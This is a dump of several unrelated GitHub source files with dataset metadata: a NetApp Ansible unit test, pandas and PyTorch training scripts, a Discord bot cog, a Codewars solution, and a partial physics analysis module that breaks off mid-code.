netapp_utils.zapi.NaElement('xml')\n attributes = {\n 'num-records': 1,\n\n }\n xml.translate_struct(attributes)\n return xml\n\n\nclass TestMyModule(unittest.TestCase):\n ''' a group of related Unit Tests '''\n\n def setUp(self):\n self.mock_module_helper = patch.multiple(basic.AnsibleModule,\n exit_json=exit_json,\n fail_json=fail_json)\n self.mock_module_helper.start()\n self.addCleanup(self.mock_module_helper.stop)\n self.server = MockONTAPConnection()\n self.mock_rule = {\n 'name': 'test',\n 'protocol': 'nfs',\n 'client_match': '1.1.1.0',\n 'rule_index': 10,\n 'anonymous_user_id': '65534'\n }\n\n def mock_rule_args(self):\n return {\n 'name': self.mock_rule['name'],\n 'client_match': self.mock_rule['client_match'],\n 'vserver': 'test',\n 'protocol': self.mock_rule['protocol'],\n 'rule_index': self.mock_rule['rule_index'],\n 'anonymous_user_id': self.mock_rule['anonymous_user_id'],\n 'ro_rule': 'any',\n 'rw_rule': 'any',\n 'hostname': 'test',\n 'username': 'test_user',\n 'password': 'test_pass!'\n }\n\n def get_mock_object(self, kind=None):\n \"\"\"\n Helper method to return an na_ontap_firewall_policy object\n :param kind: passes this param to MockONTAPConnection()\n :return: na_ontap_firewall_policy object\n \"\"\"\n obj = policy_rule()\n obj.autosupport_log = Mock(return_value=None)\n if kind is None:\n obj.server = MockONTAPConnection()\n else:\n obj.server = MockONTAPConnection(kind=kind, data=self.mock_rule_args())\n return obj\n\n def test_module_fail_when_required_args_missing(self):\n ''' required arguments are reported as errors '''\n with pytest.raises(AnsibleFailJson) as exc:\n set_module_args({})\n policy_rule()\n print('Info: %s' % exc.value.args[0]['msg'])\n\n def test_get_nonexistent_rule(self):\n ''' Test if get_export_policy_rule returns None for non-existent policy '''\n set_module_args(self.mock_rule_args())\n result = self.get_mock_object().get_export_policy_rule()\n assert result is None\n\n def test_get_nonexistent_policy(self):\n ''' Test if get_export_policy returns None for non-existent policy '''\n set_module_args(self.mock_rule_args())\n result = self.get_mock_object().get_export_policy()\n assert result is None\n\n def test_get_existing_rule(self):\n ''' Test if get_export_policy_rule returns rule details for existing policy '''\n data = self.mock_rule_args()\n set_module_args(data)\n result = self.get_mock_object('rule').get_export_policy_rule()\n assert result['name'] == data['name']\n assert result['client_match'] == data['client_match']\n assert result['ro_rule'] == ['any'] # from build_rule()\n\n def test_get_existing_policy(self):\n ''' Test if get_export_policy returns policy details for existing policy '''\n data = self.mock_rule_args()\n set_module_args(data)\n result = self.get_mock_object('policy').get_export_policy()\n assert result is not None\n\n def test_create_missing_param_error(self):\n ''' Test validation error from create '''\n data = self.mock_rule_args()\n del data['ro_rule']\n set_module_args(data)\n with pytest.raises(AnsibleFailJson) as exc:\n self.get_mock_object().apply()\n msg = 'Error: Missing required param for creating export policy rule ro_rule'\n assert exc.value.args[0]['msg'] == msg\n\n def test_successful_create(self):\n ''' Test successful create '''\n set_module_args(self.mock_rule_args())\n with pytest.raises(AnsibleExitJson) as exc:\n self.get_mock_object().apply()\n assert exc.value.args[0]['changed']\n\n def test_create_idempotency(self):\n ''' Test create idempotency '''\n set_module_args(self.mock_rule_args())\n with pytest.raises(AnsibleExitJson) as exc:\n self.get_mock_object('rule').apply()\n assert not exc.value.args[0]['changed']\n\n def test_successful_delete_without_rule_index(self):\n ''' Test delete existing job '''\n data = self.mock_rule_args()\n data['state'] = 'absent'\n del data['rule_index']\n set_module_args(data)\n with pytest.raises(AnsibleExitJson) as exc:\n self.get_mock_object('rule').apply()\n assert exc.value.args[0]['changed']\n\n def test_delete_idempotency(self):\n ''' Test delete idempotency '''\n data = self.mock_rule_args()\n data['state'] = 'absent'\n set_module_args(data)\n with pytest.raises(AnsibleExitJson) as exc:\n self.get_mock_object().apply()\n assert not exc.value.args[0]['changed']\n\n def test_successful_modify(self):\n ''' Test successful modify protocol '''\n data = self.mock_rule_args()\n data['protocol'] = ['cifs']\n data['allow_suid'] = 'true'\n set_module_args(data)\n with pytest.raises(AnsibleExitJson) as exc:\n self.get_mock_object('rule').apply()\n assert exc.value.args[0]['changed']\n\n def test_error_on_ambiguous_delete(self):\n ''' Test error if multiple entries match for a delete '''\n data = self.mock_rule_args()\n data['state'] = 'absent'\n set_module_args(data)\n with pytest.raises(AnsibleFailJson) as exc:\n self.get_mock_object('rules').apply()\n msg = \"Multiple export policy rules exist.Please specify a rule_index to delete\"\n assert exc.value.args[0]['msg'] == msg\n\n def test_helper_query_parameters(self):\n ''' Test helper method set_query_parameters() '''\n data = self.mock_rule_args()\n set_module_args(data)\n result = self.get_mock_object('rule').set_query_parameters()\n print(str(result))\n assert 'query' in result\n assert 'export-rule-info' in result['query']\n assert result['query']['export-rule-info']['rule-index'] == data['rule_index']\n", "repo_name": "ansible-collections/netapp", "sub_path": "ansible_collections/netapp/ontap/tests/unit/plugins/modules/test_na_ontap_export_policy_rule.py", "file_name": "test_na_ontap_export_policy_rule.py", "file_ext": "py", "file_size_in_byte": 10101, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 46, "dataset": "github-code", "pt": "86", "api": [{"api_name": "ansible_collections.netapp.ontap.plugins.module_utils.netapp.has_netapp_lib", "line_number": 20, "usage_type": "call"}, {"api_name": "ansible_collections.netapp.ontap.plugins.module_utils.netapp", "line_number": 20, "usage_type": "name"}, {"api_name": "pytest.mark.skip", "line_number": 21, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 21, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 26, "usage_type": "call"}, {"api_name": "ansible.module_utils.basic._ANSIBLE_ARGS", "line_number": 27, "usage_type": "attribute"}, {"api_name": "ansible.module_utils.basic", "line_number": 27, "usage_type": "name"}, {"api_name": "ansible.module_utils._text.to_bytes", "line_number": 27, "usage_type": "call"}, {"api_name": "ansible_collections.netapp.ontap.plugins.module_utils.netapp.zapi.NaElement", "line_number": 78, "usage_type": "call"}, {"api_name": "ansible_collections.netapp.ontap.plugins.module_utils.netapp.zapi", "line_number": 78, "usage_type": "attribute"}, {"api_name": "ansible_collections.netapp.ontap.plugins.module_utils.netapp", "line_number": 78, "usage_type": "name"}, {"api_name": "ansible_collections.netapp.ontap.plugins.module_utils.netapp.zapi.NaElement", "line_number": 107, "usage_type": "call"}, {"api_name": "ansible_collections.netapp.ontap.plugins.module_utils.netapp.zapi", "line_number": 107, "usage_type": "attribute"}, {"api_name": "ansible_collections.netapp.ontap.plugins.module_utils.netapp", "line_number": 107, "usage_type": "name"}, {"api_name": "ansible_collections.netapp.ontap.tests.unit.compat.unittest.TestCase", "line_number": 116, "usage_type": "attribute"}, {"api_name": "ansible_collections.netapp.ontap.tests.unit.compat.unittest", "line_number": 116, "usage_type": "name"}, {"api_name": "ansible_collections.netapp.ontap.tests.unit.compat.mock.patch.multiple", "line_number": 120, "usage_type": "call"}, {"api_name": "ansible_collections.netapp.ontap.tests.unit.compat.mock.patch", "line_number": 120, "usage_type": "name"}, {"api_name": "ansible.module_utils.basic.AnsibleModule", "line_number": 120, "usage_type": "attribute"}, {"api_name": "ansible.module_utils.basic", "line_number": 120, "usage_type": "name"}, {"api_name": "ansible_collections.netapp.ontap.plugins.modules.na_ontap_export_policy_rule.NetAppontapExportRule", "line_number": 155, "usage_type": "call"}, {"api_name": "ansible_collections.netapp.ontap.tests.unit.compat.mock.Mock", "line_number": 156, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 165, "usage_type": "call"}, {"api_name": "ansible_collections.netapp.ontap.plugins.modules.na_ontap_export_policy_rule.NetAppontapExportRule", "line_number": 167, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 203, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 211, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 218, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 228, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 237, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 247, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 256, "usage_type": "call"}]} +{"seq_id": "74236332759", "text": "from helper import city_analysis, host_analysis\n\n\n# USER-DEFINED VARIABLES\nfile_path = \"AB_NYC_2019-ascii.csv\"\nhost_path = \"host_dim.csv\"\ncity_name = \"Brooklyn\"\n\n\n# CALLING THE FUNCTIONS\ncity_analysis_df = city_analysis(file_path, city_name)\nhost_df = host_analysis(host_path, city_analysis_df)\n\n\nprint(host_df)\n\n\n\n\n\n\n\n\n# high_value_brooklyn = brooklyn_df[brooklyn_df['price'] > 150]\n\n# # CASE statement \n# # if price between 0 - 100 \"cheap\"\n# # if price between 100 - 150 \"moderate\"\n# # if price between 150-200 \"average\"\n# # if price between 200+ \"expensive\"\n# raw_df.loc[(raw_df['price'] <= 100), \"price_group\"] = \"cheap\"\n# raw_df.loc[(raw_df['price'] >= 200), \"price_group\"] = \"expensive\"\n\n\n# # Drop/add Columns\n# # remove column \"host_name\"\n# selected_cols = raw_df[['host_name', 'price_group','price','room_type', 'neighbourhood_group']]\n\n\n# # Aggregates = Group By \n# # Whats the average price by room type by neighbourhood\n# # print(selected_cols.groupby(['room_type', 'neighbourhood_group'])['price'].mean().reset_index())\n\n# # Perform JOINS (SQL) \n# # raw_df -- df1\n# # df_host_dim -- d2\n# df_host_dim = pd.read_csv(\"host_dim.csv\")\n\n\n# # INNER join in Python \n# df_inner = pd.merge(left=raw_df, right=df_host_dim, on=\"host_id\", how='inner')\n# print(len(df_inner))\n\n# # LEFT join in Python\n# df_left = pd.merge(left=raw_df, right=df_host_dim, on=\"host_id\", how='left')\n# print(len(df_left))\n\n# # RIGHT join in Python\n# df_right = pd.merge(left=raw_df, right=df_host_dim, on=\"host_id\", how='right')\n# print(len(df_right))\n\n\n# LOAD\n# Write the data to a table, or a view. ", "repo_name": "AGWeb18/Data1202", "sub_path": "airbnb/functions_practice/py_transform.py", "file_name": "py_transform.py", "file_ext": "py", "file_size_in_byte": 1614, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "85", "api": [{"api_name": "helper.city_analysis", "line_number": 11, "usage_type": "call"}, {"api_name": "helper.host_analysis", "line_number": 12, "usage_type": "call"}]} +{"seq_id": "41162828682", "text": "import torch \nfrom torch import nn\nfrom model import TorchGRUIntent, TorchLSTMIntent, TransformerIntent, SupConLoss\nfrom utils import Trainer, EarlyStopping\nimport argparse\nimport os\nfrom sklearn.utils import class_weight\n\nparser = argparse.ArgumentParser(description='Get configurations to train')\nparser.add_argument('--accent', default='hindi_female', type=str)\nparser.add_argument('--lang', default='en', type=str)\n# parser.add_argument('--orig', default=False, type=bool)\nparser.add_argument('--test_accent', default='hindi_female', type=str)\nparser.add_argument('--cpu_cores', default=8, type=int)\nparser.add_argument('--data', default=\"~\", type=str)\nparser.add_argument('--model_type', default=\"TGRU\", type=str)\nparser.add_argument('--model', default=\"\", type=str)\nparser.add_argument('--mode', default=\"train\", type=str)\nparser.add_argument('--slot', default=True, type=bool)\nCONFIG = parser.parse_args()\n\nif CONFIG.lang == 'hi':\n os.environ[\"TOKENIZERS_PARALLELISM\"] = \"false\"\nelse:\n os.environ[\"TOKENIZERS_PARALLELISM\"] = \"true\"\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\nprint(\"Using device: \", device)\n\nif CONFIG.slot==True:\n from dataset import BTP3 as BTP\n model_mode = 'slot'\nelse:\n from dataset import BTP2 as BTP\n model_mode = 'intent'\n\ncheckpoint_dir = '/scratch/ut_ckp'\n# checkpoint_dir = os.readlink(checkpoint_dir)\ncheckpoint_dir += f'/{CONFIG.accent}/'\nos.makedirs(checkpoint_dir, exist_ok=True)\nm_dir = 'models/'\nos.makedirs(m_dir, exist_ok=True)\n\n# Hyperparameters\nbatch_size = 32\nlearning_rate = 1e-4\nepochs = 50\ncpu_cores = CONFIG.cpu_cores\nprint(f\"Using {cpu_cores} CPU cores\")\n\n# Getting dataset and data loaders\ndata_dir = CONFIG.data\nif data_dir[-1] != \"/\":\n data_dir += \"/\"\nmodel_name = f\"TGRU_{model_mode}_{CONFIG.lang}_{CONFIG.accent}_contrast_out_{batch_size}_0.1\"\n\ntrain_dataset = BTP(\"train\", accent=CONFIG.accent, lang=CONFIG.lang, mode=model_mode)\nval_dataset = BTP(\"validation\", accent=CONFIG.accent, lang=CONFIG.lang, mode=model_mode)\ntest_dataset = BTP(\"test\", accent=CONFIG.test_accent, lang=CONFIG.lang, mode=model_mode)\nif model_mode=='slot':\n pad_index = train_dataset.slot_map[\"O\"]\n pad_weight = (train_dataset.slot_count-train_dataset.empty_slot_count)/(train_dataset.empty_slot_count)\n print(f'{train_dataset.slot_count}, {train_dataset.empty_slot_count}')\nelse:\n pad_index = -100\n pad_weight = 1\n\ndef batch_sequences(seq_list):\n token_ids = []\n targets = []\n if model_mode=='slot':\n length_sum = 0\n for ids, slots, length in seq_list:\n token_ids.append(ids)\n targets.append(slots)\n length_sum += length\n # token_ids = nn.utils.rnn.pad_sequence(token_ids, padding_value=BTP.pad_token_id, batch_first=True)\n token_ids = torch.stack(token_ids)\n targets = torch.stack(targets)\n attention_mask = (token_ids != BTP.pad_token_id)\n # print('token_ids: ', token_ids.shape)\n # print('targets: ', targets.shape)\n # exit(0)\n return token_ids, attention_mask, targets, length_sum\n else:\n scenarios = [] \n for ids, labels, scenario in seq_list:\n token_ids.append(ids)\n targets.append(labels)\n scenarios.append(scenario)\n\n token_ids = nn.utils.rnn.pad_sequence(token_ids, padding_value=BTP.pad_token_id, batch_first=True)\n targets = torch.stack(targets)\n scenarios = torch.stack(scenarios)\n attention_mask = (token_ids != BTP.pad_token_id)\n return token_ids, attention_mask, targets, scenarios\n\n\ntrain_loader = torch.utils.data.DataLoader(train_dataset, \n batch_size=batch_size,\n shuffle=True, \n num_workers=cpu_cores,\n collate_fn=batch_sequences)\n\nval_loader = torch.utils.data.DataLoader(val_dataset, \n batch_size=batch_size,\n shuffle=False, \n num_workers=cpu_cores,\n collate_fn=batch_sequences)\n\ntest_loader = torch.utils.data.DataLoader(test_dataset, \n batch_size=batch_size,\n shuffle=False, \n num_workers=cpu_cores,\n collate_fn=batch_sequences)\n\n# Getting the new model\nif CONFIG.model_type == \"TGRU\":\n if model_mode == 'slot':\n model = TorchGRUIntent(hidden_size=300, vocab_size=len(train_dataset.slot_map), scenario_size=train_dataset.scenario_count)\n else:\n model = TorchGRUIntent(hidden_size=300, vocab_size=train_dataset.intent_count, scenario_size=train_dataset.scenario_count)\nelif CONFIG.model_type == \"TLSTM\":\n model = TorchLSTMIntent(hidden_size=300, vocab_size=train_dataset.intent_count)\nelif CONFIG.model_type == \"Transformer\":\n model = TransformerIntent(vocab_size=train_dataset.intent_count)\nelse:\n print(\"Unidentified model type\")\n exit(1)\n\n# Model Path\nCONFIG.model = '/scratch/ut_ckp/final/' + model_name + 'final.pt'\n\nif CONFIG.mode == 'train':\n print(\"Training new model \", type(model))\nelse:\n print(\"Using model from\", CONFIG.model)\n model.load_state_dict(torch.load(CONFIG.model))\n model = model.to(device)\n\n\n# Optimizer and Criterion\n\nclass_weights = [1]*len(train_dataset.slot_map)\nclass_weights[pad_index] = pad_weight\nclass_weights = torch.tensor(class_weights,dtype=torch.float).to(device)\ncriterion = nn.CrossEntropyLoss(weight=class_weights, reduction='sum')\n# criterion = nn.CrossEntropyLoss()\noptimizer = torch.optim.AdamW(model.parameters(), lr=learning_rate)\nscheduler = torch.optim.lr_scheduler.ReduceLROnPlateau(optimizer=optimizer, \n mode='min', \n factor=0.5, \n patience=4, \n verbose=True) \n\n\n# Early Stopping\nearly_stopping = EarlyStopping(patience=5)\n\nCONFIG.accent = f'{CONFIG.accent}_{CONFIG.lang}' if CONFIG.accent=='orig' else CONFIG.accent\n\n# Train the model\ntrainer = Trainer(model_name=model_name,\n model=model,\n criterion=criterion,\n optimizer=optimizer,\n scheduler=scheduler,\n epochs=epochs,\n train_loader=train_loader,\n val_loader=val_loader,\n device=device,\n checkpoint_dir=checkpoint_dir,\n mode=model_mode,\n early_stopping=early_stopping,\n log_periodicity=25,\n checkpoint_strategy=\"periodic\",\n checkpoint_periodicity=1,\n pad_index=pad_index,\n vocab_size=len(train_dataset.slot_map),\n test_loader=test_loader)\n\nif CONFIG.mode == \"train\":\n trainer.train()\n\n# Test\ntrainer.evaluate(name=\"Val\", loader=val_loader)\ntrainer.evaluate(name=\"Test\", loader=test_loader)\n", "repo_name": "utkarsh-ls/Intent-Detection-and-Slot-Filling", "sub_path": "massive/train.py", "file_name": "train.py", "file_ext": "py", "file_size_in_byte": 7316, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 9, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 23, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 25, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 39, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 41, "usage_type": "call"}, {"api_name": "dataset.BTP2", "line_number": 56, "usage_type": "call"}, {"api_name": "dataset.BTP2", "line_number": 57, "usage_type": "call"}, {"api_name": "dataset.BTP2", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 77, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 78, "usage_type": "call"}, {"api_name": "dataset.BTP2.pad_token_id", "line_number": 79, "usage_type": "attribute"}, {"api_name": "dataset.BTP2", "line_number": 79, "usage_type": "name"}, {"api_name": "torch.nn.utils.rnn.pad_sequence", "line_number": 91, "usage_type": "call"}, {"api_name": "torch.nn.utils", "line_number": 91, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 91, "usage_type": "name"}, {"api_name": "dataset.BTP2.pad_token_id", "line_number": 91, "usage_type": "attribute"}, {"api_name": "dataset.BTP2", "line_number": 91, "usage_type": "name"}, {"api_name": "torch.stack", "line_number": 92, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 93, "usage_type": "call"}, {"api_name": "dataset.BTP2.pad_token_id", "line_number": 94, "usage_type": "attribute"}, {"api_name": "dataset.BTP2", "line_number": 94, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 98, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 98, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 104, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 104, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 110, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 110, "usage_type": "attribute"}, {"api_name": "model.TorchGRUIntent", "line_number": 119, "usage_type": "call"}, {"api_name": "model.TorchGRUIntent", "line_number": 121, "usage_type": "call"}, {"api_name": "model.TorchLSTMIntent", "line_number": 123, "usage_type": "call"}, {"api_name": "model.TransformerIntent", "line_number": 125, "usage_type": "call"}, {"api_name": "model.load_state_dict", "line_number": 137, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 137, "usage_type": "call"}, {"api_name": "model.to", "line_number": 138, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 145, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 145, "usage_type": "attribute"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 146, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 146, "usage_type": "name"}, {"api_name": "torch.optim.AdamW", "line_number": 148, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 148, "usage_type": "attribute"}, {"api_name": "model.parameters", "line_number": 148, "usage_type": "call"}, {"api_name": "torch.optim.lr_scheduler.ReduceLROnPlateau", "line_number": 149, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 149, "usage_type": "attribute"}, {"api_name": "utils.EarlyStopping", "line_number": 157, "usage_type": "call"}, {"api_name": "utils.Trainer", "line_number": 162, "usage_type": "call"}]} +{"seq_id": "28590228747", "text": "import discord\nfrom discord import emoji\nfrom discord.ext import commands\n\nfrom bot import PlayTogether\n\n\nclass Ready(commands.Cog):\n def __init__(self, bot: PlayTogether):\n self.bot = bot\n\n @commands.Cog.listener()\n async def on_ready(self):\n await self.bot.change_presence(status=discord.Status.online, activity=discord.Game(\"[도움말\"))\n\n emoji_server = await self.bot.fetch_guild(self.bot.emoji_server)\n self.bot.CustomEmojis.load_emojis(emoji_server.emojis)\n\n self.bot.owner = await self.bot.fetch_user(self.bot.owner_id)\n\n print(f\"{self.bot.user} is ready!\")\n\n\ndef setup(bot: PlayTogether):\n bot.add_cog(Ready(bot))", "repo_name": "dp0973/Play-Together-Pub", "sub_path": "cogs/ready.py", "file_name": "ready.py", "file_ext": "py", "file_size_in_byte": 677, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "85", "api": [{"api_name": "discord.ext.commands.Cog", "line_number": 8, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 8, "usage_type": "name"}, {"api_name": "bot.PlayTogether", "line_number": 9, "usage_type": "name"}, {"api_name": "discord.Status", "line_number": 14, "usage_type": "attribute"}, {"api_name": "discord.Game", "line_number": 14, "usage_type": "call"}, {"api_name": "discord.ext.commands.Cog.listener", "line_number": 12, "usage_type": "call"}, {"api_name": "discord.ext.commands.Cog", "line_number": 12, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 12, "usage_type": "name"}, {"api_name": "bot.PlayTogether", "line_number": 24, "usage_type": "name"}, {"api_name": "bot.add_cog", "line_number": 25, "usage_type": "call"}]} +{"seq_id": "11227317085", "text": "# 7kyu - Vampire numbers less than 1 000 000\n\n\"\"\" A Vampire number is a positive integer z with a factorization x * y = z such that\n\n x and y have the same number of digits and\n the multiset of digits of z is equal to the multiset of digits of x and y.\n Additionally, to avoid trivialities, x and y may not both end with 0.\n\nIn this case, x and y are called fangs of z. \n(The fangs of a Vampire number may not be unique, but this shouldn't bother us.) \n\nThe first three Vampire numbers are\n\n1260 = 21*60\n1395 = 15*93\n1435 = 35*41\n\nWrite an algorithm that on input k returns the kth Vampire number. \nTo avoid time-outs, the Python version will test with 1 <= k <= 155.\n\nPS: In the OEIS, the Vampire numbers are sequence A014575 https://oeis.org/A014575\nPPS: So called Pseudo-Vampire Numbers are treated in this kata. \"\"\"\n\nimport requests\n\n\ndef VampireNumber(n):\n oeis = requests.get('https://oeis.org/A014575/b014575.txt')\n nums = [line.split()[1] for line in oeis.text.strip().split('\\n')]\n return int(nums[n-1])\n\n\nq = VampireNumber(1) # 1260\nq\nq = VampireNumber(2) # 1395\nq\nq = VampireNumber(3) # 1435\nq\n", "repo_name": "krnets/codewars-practice", "sub_path": "7kyu/Vampire numbers less than 1 000 000/index.py", "file_name": "index.py", "file_ext": "py", "file_size_in_byte": 1126, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "requests.get", "line_number": 28, "usage_type": "call"}]} +{"seq_id": "9897372941", "text": "# -*- coding: utf8 -*-\nfrom ..typing import Undefined\nfrom ..descriptors import handlerValue\nfrom .handler import OnGet, OnSet, OnDel, OnChange\n\n\nclass Value(handlerValue.Value):\n def set_handlers(self):\n self.on_get = OnGet()\n self.on_set = OnSet()\n self.on_del = OnDel()\n self.on_change = OnChange()\n\n def get(self, default=Undefined):\n return self.notify('on_get', self, value=super(Value, self).get(default)).returns()\n\n def set(self, value):\n value = self.notify('on_set', self, value=value).returns()\n if self.has_changed(value):\n parent = super(Value, self)\n old_value = parent.get(None)\n parent.set(value)\n value = self.notify('on_change', self, value=value, old_value=old_value).returns()\n parent.set(value)\n\n def delete(self):\n self.notify('on_del', self)\n super(Value, self).delete()\n\n", "repo_name": "apieum/eventize", "sub_path": "eventize/attribute/value.py", "file_name": "value.py", "file_ext": "py", "file_size_in_byte": 926, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "85", "api": [{"api_name": "descriptors.handlerValue.Value", "line_number": 7, "usage_type": "attribute"}, {"api_name": "descriptors.handlerValue", "line_number": 7, "usage_type": "name"}, {"api_name": "handler.OnGet", "line_number": 9, "usage_type": "call"}, {"api_name": "handler.OnSet", "line_number": 10, "usage_type": "call"}, {"api_name": "handler.OnDel", "line_number": 11, "usage_type": "call"}, {"api_name": "handler.OnChange", "line_number": 12, "usage_type": "call"}, {"api_name": "typing.Undefined", "line_number": 14, "usage_type": "name"}]} +{"seq_id": "20565001029", "text": "import math\nfrom decorators import cached_property\n\nfrom rootpy.vector import LorentzVector, Vector3\nfrom rootpy.extern.hep import pdg\nfrom rootpy import asrootpy\n\nfrom . import log; log = log[__name__]\nfrom .utils import dR, et2pt\nfrom .units import GeV\nfrom .hadhad.filters import IDNONE\n\n\"\"\"\nThis module contains \"mixin\" classes for adding\nfunctionality to Tree objects (\"decorating\" them).\n\"\"\"\n\n__all__ = [\n 'FourMomentum',\n 'FourMomentumMeV',\n 'JetFourMomentum',\n 'TauFourMomentum',\n 'ElectronFourMomentum',\n 'MCTauFourMomentum',\n 'MCParticle',\n]\n\nSF_DEFAULT = 1.\n\n\nclass MatchedObject(object):\n\n def __init__(self, obj):\n self.obj = obj\n self.matched = False\n self.matched_dR = 9999.\n #self.matched_collision = False\n self.matched_object = None\n\n def matches(self, other, thresh=.2):\n return self.dr(other) < thresh\n\n def dr(self, other):\n return dR(self.obj.eta(), self.obj.phi(), other.obj.eta(), other.obj.phi())\n\n def dr_vect(self, other):\n return dR(self.obj.eta(), self.obj.phi(), other.Eta(), other.Phi())\n\n def angle_vect(self, other):\n return self.fourvect.Angle(other)\n\n def matches_vect(self, vect, thresh=.2):\n return self.dr_vect(vect) < thresh\n\n\nclass FourMomentum(MatchedObject):\n\n def __init__(self, *args):\n self.fourvect_boosted = LorentzVector()\n super(FourMomentum, self).__init__(*args)\n\n @cached_property\n def fourvect(self):\n vect = asrootpy(self.obj.p4())\n return vect\n\n def __repr__(self):\n return self.__str__()\n\n def __str__(self):\n return \"%s (m: %.3f MeV, pt: %.1f MeV, eta: %.2f, phi: %.2f)\" % \\\n (self.__class__.__name__,\n self.obj.m(),\n self.obj.pt(),\n self.obj.eta(),\n self.obj.phi())\n\n\nclass FourMomentumMeV(object):\n\n def __init__(self):\n self.obj\n self.fourvect_boosted = LorentzVector()\n\n @cached_property\n def fourvect(self):\n vect = LorentzVector()\n vect.SetPtEtaPhiM(self.pt*GeV, self.eta, self.phi, self.m)\n return vect\n\n def __repr__(self):\n return self.__str__()\n\n def __str__(self):\n return \"%s (m: %.3f MeV, pt: %.1f MeV, eta: %.2f, phi: %.2f)\" % \\\n (self.__class__.__name__,\n self.m,\n self.pt,\n self.eta,\n self.phi)\n\n\nclass JetFourMomentum(FourMomentum):\n\n def __init__(self):\n super(JetFourMomentum, self).__init__()\n # needed by the METUtility\n # https://twiki.cern.ch/twiki/bin/viewauth/AtlasProtected/MissingETUtilityFAQ#If_I_recalibrate_correct_my_anal\n self.phi_original = None\n\n # ONLY COMPUTED IN SKIM!\n self.BCHMedium = False\n self.BCHTight = False\n\n\nclass TauFourMomentum(FourMomentum):\n\n def __init__(self, *args):\n super(TauFourMomentum, self).__init__(*args)\n\n self.id = IDNONE\n\n self.centrality = 0.\n self.centrality_boosted = 0.\n\n # vertex association\n self.vertex_prob = 0.\n\n # overlap checking\n self.min_dr_jet = 9999.\n\n self._pt_nominal = -1111.\n\n # efficiency scale factor if matches truth\n self.id_sf = SF_DEFAULT\n self.id_sf_high = SF_DEFAULT\n self.id_sf_low = SF_DEFAULT\n self.id_sf_stat_high = SF_DEFAULT\n self.id_sf_stat_low = SF_DEFAULT\n self.id_sf_sys_high = SF_DEFAULT\n self.id_sf_sys_low = SF_DEFAULT\n\n # trigger efficiency\n self.trigger_sf = SF_DEFAULT\n self.trigger_sf_high = SF_DEFAULT\n self.trigger_sf_low = SF_DEFAULT\n self.trigger_sf_mc_stat_high = SF_DEFAULT\n self.trigger_sf_mc_stat_low = SF_DEFAULT\n self.trigger_sf_data_stat_high = SF_DEFAULT\n self.trigger_sf_data_stat_low = SF_DEFAULT\n self.trigger_sf_stat_high = SF_DEFAULT\n self.trigger_sf_stat_low = SF_DEFAULT\n self.trigger_sf_sys_high = SF_DEFAULT\n self.trigger_sf_sys_low = SF_DEFAULT\n\n self.trigger_sf_stat_scale_high = SF_DEFAULT\n self.trigger_sf_stat_scale_low = SF_DEFAULT\n\n self.trigger_eff = SF_DEFAULT\n self.trigger_eff_high = SF_DEFAULT\n self.trigger_eff_low = SF_DEFAULT\n self.trigger_eff_stat_high = SF_DEFAULT\n self.trigger_eff_stat_low = SF_DEFAULT\n self.trigger_eff_sys_high = SF_DEFAULT\n self.trigger_eff_sys_low = SF_DEFAULT\n\n self.trigger_eff_stat_scale_high = SF_DEFAULT\n self.trigger_eff_stat_scale_low = SF_DEFAULT\n\n # fake rate scale factor for taus that do not match truth\n self.fakerate_sf = SF_DEFAULT\n self.fakerate_sf_high = SF_DEFAULT\n self.fakerate_sf_low = SF_DEFAULT\n\n # fake rate reco scale factor for taus that do not match truth\n self.fakerate_sf_reco = SF_DEFAULT\n self.fakerate_sf_reco_high = SF_DEFAULT\n self.fakerate_sf_reco_low = SF_DEFAULT\n\n # colliniear mass approx\n self.collinear_momentum_fraction = -9999.\n\n #self.trigger_match_thresh = 0\n #self.trigger_match_index = -1\n\n # FOLLOWING ONLY COMPUTED IN SKIM\n\n # track recounting\n self.numTrack_recounted = -1\n\n # BCH cleaning\n self.BCHMedium = False\n self.BCHTight = False\n\n\n @property\n def 